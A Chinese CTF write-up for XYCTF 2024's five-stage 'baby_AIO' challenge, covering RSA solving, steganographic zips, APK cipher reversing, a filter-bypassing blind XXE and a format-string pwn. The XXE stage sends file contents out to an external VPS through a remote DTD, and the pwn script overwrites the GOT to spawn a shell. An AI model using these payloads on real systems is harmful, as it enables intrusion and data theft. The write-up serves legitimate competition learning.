1
0
Files
blog.xinshi.fun/source/special/wp/xyctf-2024-aio.md
2025-10-01 10:58:30 +08:00

9.8 KiB
Raw Blame History

title, date, updated, categories, cover, permalink
title date updated categories cover permalink
XYCTF 2024 (baby_AIO) Writeup by 摸鱼 2024/04/26 14:00:00 2024/04/26 14:00:00
CTF-Writeup
../../wp/xyctf-2024-aio/cover.png wp/xyctf-2024-aio/

余师傅出的五个方向合在一起的一道题比赛中有5支队伍解出。摸鱼队的Crypto和Misc部分由luoingly师傅完成Reverse、Web和Pwn部分由我完成。Reverse做了一天Web现学现卖做一晚上Pwn现学现卖做两天算是我第一次做出来Pwn题。感谢这道题让我学会了XXE和Format String指会做这道题

本站上的 XYCTF 2024 (Reverse) Writeup by 摸鱼 与评价

XYCTF 2024 Writeup by 摸鱼

第一步 Crypto

import gmpy2 as gp

e = 65537
n = 528565534050303289402007510968179435618186732104470795324112506464649249469837867028185617
dp = 487978202023750799970713551102136558437027925

for x in range(1, e):
	if(e*dp%x==1):
		p=(e*dp-1)//x+1
		if(n%p!=0):
			continue
		q=n//p
		phin=(p-1)*(q-1)
		d=gp.invert(e, phin)
		print("p = ", p)
		print("q = ", q)
import libnum
import gmpy2
n1 = 60984961924036640364806324068224697071843724749390772716648370179057892113876360274026354662527777447902822720596626094363633542717821045035441273653134740082082972528467040631675108058268481211224587979227700303746708094408639881186270901498495613159595719501389800228775436242418332342165682104816100945559
e1 = 718052616328316407959060891790846549694362099
c1 = 14643165800600469237679161939570210679439096911755461832302138620621212724063371108183767129591712055258072458698793819383057004625557577440444773493982158481797933707633029392859049044470914532014267958303995860803871791733761877112192748951375669095992152628840179729532225161446048952172457991042916248568
n2 = n1
e2 = 736109753005379176045853848742061395149928683
c2 = 47744166763747993083913069262560688521758241055343711330487778299969300229670028543968082464934326523754042128559756835029869433598546417098582906459369495989688837877596260888669274901459794346656919486877501825652169698125071792901224555479266468029736677586557495945618181583432146191688552560789016927665
s, s1, s2 = gmpy2.gcdext(e1, e2)
m = (pow(c1, s1, n1)*pow(c2, s2, n2)) % n1
print(libnum.n2s(int(m)).decode())

可以得到内容「the key of txt is XYXY1l0v3y0u and another key is 99 88 77 66」

第二步 Misc

使用上面的到的 key 可以解密解压 zip可以得到一段具有 Unicode 零宽隐写的文本其中隐写内容为「The username is WelcomeXY」明文内容为一系列密码。enc 为一个 Base64 编码的套娃 zip在文件尾有字符「The username is WelcomeXY」。使用密码表

SuyunandXiao
ZhaoWuandSuyun
Shinandlingfeng
nydnandk0rian
faultandalei

按照一定顺序作为密码层层解压套娃压缩包,最后能够得到 ezre.apk。

第三步 Reverse VM

ezre.apk缺了ZipDirEntry和ZipEndLocator用7-Zip强制解压再重新压缩为zip文件即可导入JADX

MainActivity是用户输入key和flag在JNI加密然后气泡提示加密结果

贴一份整理符号后的反编译代码

Untitled

Untitled

key是Misc部分得到的99 88 77 66

复制出来,打印出执行顺序

Untitled

Untitled

#include <stdio.h>
#include "defs.h"
#define u32 unsigned int

const u32 key[] = {99, 88, 77, 66};

void encrypt(u32 *input)
{
    for (int i = 1; i < 20; i += 2)
    {
        u32 delta = 0;
        for (int j = 0; j < 32; j++)
        {
            u32 r = input[i];
            input[i - 1] += (((r << 4) ^ (r >> 5)) + r) ^ (delta + key[delta & 3]);
            delta += 0x12345678;
            u32 l = input[i - 1];
            input[i] += (((l << 4) ^ (l >> 5)) + l) ^ (delta + key[(delta >> 10) & 3]);
        }
    }
}

unsigned char ida_chars[] =
    {
        0x0C, 0x2A, 0x54, 0x5C, 0x8B, 0xF0, 0xF8, 0xCD, 0x35, 0x4B,
        0x17, 0x93, 0x2F, 0x73, 0x73, 0xFF, 0xEF, 0xF6, 0xF5, 0xAC,
        0xD0, 0xBA, 0x19, 0x4D, 0xAB, 0x4B, 0xF5, 0xFD, 0x38, 0x71,
        0xC8, 0xE1, 0x3D, 0x15, 0xC0, 0xF2, 0x84, 0x0C, 0x27, 0x7E,
        0xD7, 0x8D, 0x07, 0x34, 0xCD, 0x33, 0x5F, 0x96, 0xEB, 0x63,
        0x6A, 0x8D, 0xF5, 0x83, 0xFB, 0x92, 0x31, 0x46, 0xC8, 0xBB,
        0x9A, 0x59, 0x40, 0x73, 0x2F, 0xE8, 0x38, 0xE0, 0xF9, 0x40,
        0x66, 0x15, 0xB9, 0xC9, 0xF5, 0xEE, 0x84, 0x65, 0x2C, 0xF5,
        0x6C, 0xC3, 0x54, 0xC3, 0xCE, 0x1D, 0x70, 0x9F};

void decrypt(u32 *content)
{
    for (int i = 21; i > 0; i -= 2)
    {
        u32 delta = 0x12345678 * 32;
        for (int j = 0; j < 32; j++)
        {
            u32 l = content[i - 1];
            content[i] -= (((l << 4) ^ (l >> 5)) + l) ^ (delta + key[(delta >> 10) & 3]);
            delta -= 0x12345678;
            u32 r = content[i];
            content[i - 1] -= (((r << 4) ^ (r >> 5)) + r) ^ (delta + key[delta & 3]);
        }
    }
}

int main()
{
    // char test[] = "Hello, World! Hello, World! Hello, World! Hello, World! Hello, World! Hello, World! ";
    // encrypt((u32 *)test);
    // decrypt((u32 *)test);
    // printf("%s\n", test);
    decrypt((u32 *)ida_chars);
    for (int i = 0; i < 88; i+=4)
    {
        printf("%c", ida_chars[i]);
    }
    return 0;
}

// https://baby.imxbt.cn/

第四步 Web XXE

无回显无报错XXE嵌套写三次可绕过过滤

<?xmxmxmlll version="1.0" ?>
<!DOCDOCDOCTYPETYPETYPE ANY [
    <!ENENENTITYTITYTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=hint.php">
    <!ENENENTITYTITYTITY % a SYSTEM "http://moyu.example.vps/test.dtd" >
    %a;%send;
]>
<credentials>
  <username>WelcomeXY</username>
  <password>YXemocleW</password>
</credentials>

test.dtd:

<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://moyu.example.vps:4869/?p=%file;' >">
%int;

Untitled

读到hint.php的内容

<?php
defined('ACCESS') or exit('干嘛,像偷窥我?');

echo "wellAnd now you can download the newpwn.zip in /HAHA/PWN";
?>

https://baby.imxbt.cn/HAHA/PWN/newpwn.zip

第五步 Pwn FmtStr

随机数只要本地校准时间然后同一秒钟设置种子就可以生成然后进入vuln函数但是正常情况下只有一次printf并且payload最多100字节。因为fmtstr需要确定的写入地址和确定的写入值所以第一次先泄露栈地址和libc地址并将.fini_array改成vuln函数地址以便再次进入vuln函数。第二次用fmtstr把printf的got表改为system的地址并把返回地址改为retn的地址栈16字节对齐后面跟vuln函数的地址以便第三次进入vuln函数。第三次调用printf实际上是调用system输入/bin/sh\x00即可get shell。

#include <stdlib.h>
#include <time.h>

void set_seed() {
    srand(time(NULL));
    srand(rand() % 5 + 114514);
}

int random_number() {
    return rand() % 4 + 159357158;
}
from pwn import *
import ctypes

context.arch = 'amd64'
# context.log_level = 'debug'
elf = ELF('./XYCTF')
libc = ELF('./libc.so.6')
io = process('./XYCTF')
# io = remote('xyctf.top', 47279)

# 随机数部分

lib_rand = ctypes.CDLL('./my_random.so')
lib_rand.random_number.restype = ctypes.c_int
lib_rand.set_seed()

for i in range(51):
    io.recvuntil(f'game: {i}\n'.encode())
    io.sendline(str(lib_rand.random_number()).encode())

io.recvuntil(b'Now,plz you input:\n')

# # test
# io.sendline(b'AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p')
# print(io.recvall())

# 第一步:把.fini_array中__do_global_dtors_aux的地址改为vuln函数的地址以便再次进入vuln同时泄漏libc地址和vuln函数返回地址的地址
# %6$s 是 payload 自己
# %p. 是格式化字符串的地址输出了15个字符
# %10$s. 是libc printf的地址输出了7个字符
# 总共需要4804个字符
printf_got = elf.got['printf'] # 0x4033d8
addr_of_fini_array = 0x4031c0
payload = b'%p.%10$s.%4782d%9$hn....' + p64(addr_of_fini_array) + p64(printf_got)
payload += b'\x00' * (100 - len(payload))

# print(payload.hex())
io.send(payload)

res = io.recvuntil(b'Now,plz you input:\n')
addr_of_fmtstr = eval(res[:14])
addr_of_printf = int.from_bytes(res[15:21], 'little')
addr_of_system = addr_of_printf - libc.sym['printf'] + libc.sym['system']
print(hex(addr_of_fmtstr), hex(addr_of_printf))
print(hex(addr_of_system))

addr_of_new_fmtstr = addr_of_fmtstr - 0xB0
addr_of_ret_addr = addr_of_new_fmtstr + 0x78

# gdb.attach(io, 'b *0x4012c4')

# 第二步我们现在有vuln函数返回地址的地址把它改为retn的地址栈对齐后面跟vuln函数的地址以便再次进入vuln同时把printf的got表改为system的地址
payload = b''
written_bytes = 0
addr_of_vuln = 0x4012c4
addr_of_C3 = 0x40132b
payload += f'%{(((addr_of_system&0xff0000)>>16)+0x100-written_bytes)&0xff}d%16$hhn'.encode()
written_bytes = (addr_of_system&0xff0000)>>16
payload += f'%{((addr_of_system&0xffff)+0x10000-written_bytes)&0xffff}d%17$hn'.encode()
written_bytes = addr_of_system&0xffff
payload += f'%{addr_of_vuln-written_bytes}d%15$ln'.encode()
written_bytes = addr_of_vuln
payload += f'%{addr_of_C3-written_bytes}d%14$ln'.encode()
print(len(payload))
assert len(payload) <= 64
payload += b'.' * (64 - len(payload))
payload += p64(addr_of_ret_addr) # 写入retn的地址8字节
payload += p64(addr_of_ret_addr + 8) # 写入vuln的地址8字节
payload += p64(printf_got + 2) # 写入system的地址低第3字节
payload += p64(printf_got) # 写入system的地址低1-2字节
payload += b'\x00' * (100 - len(payload))
print(payload)
io.send(payload)

io.recvuntil(b'Now,plz you input:\n', timeout=600)
io.sendline(b'/bin/sh\x00')
io.interactive()

Untitled

🚩 XYCTF{0f1c8f3f-a2d9-4d9e-9cf4-175152030288}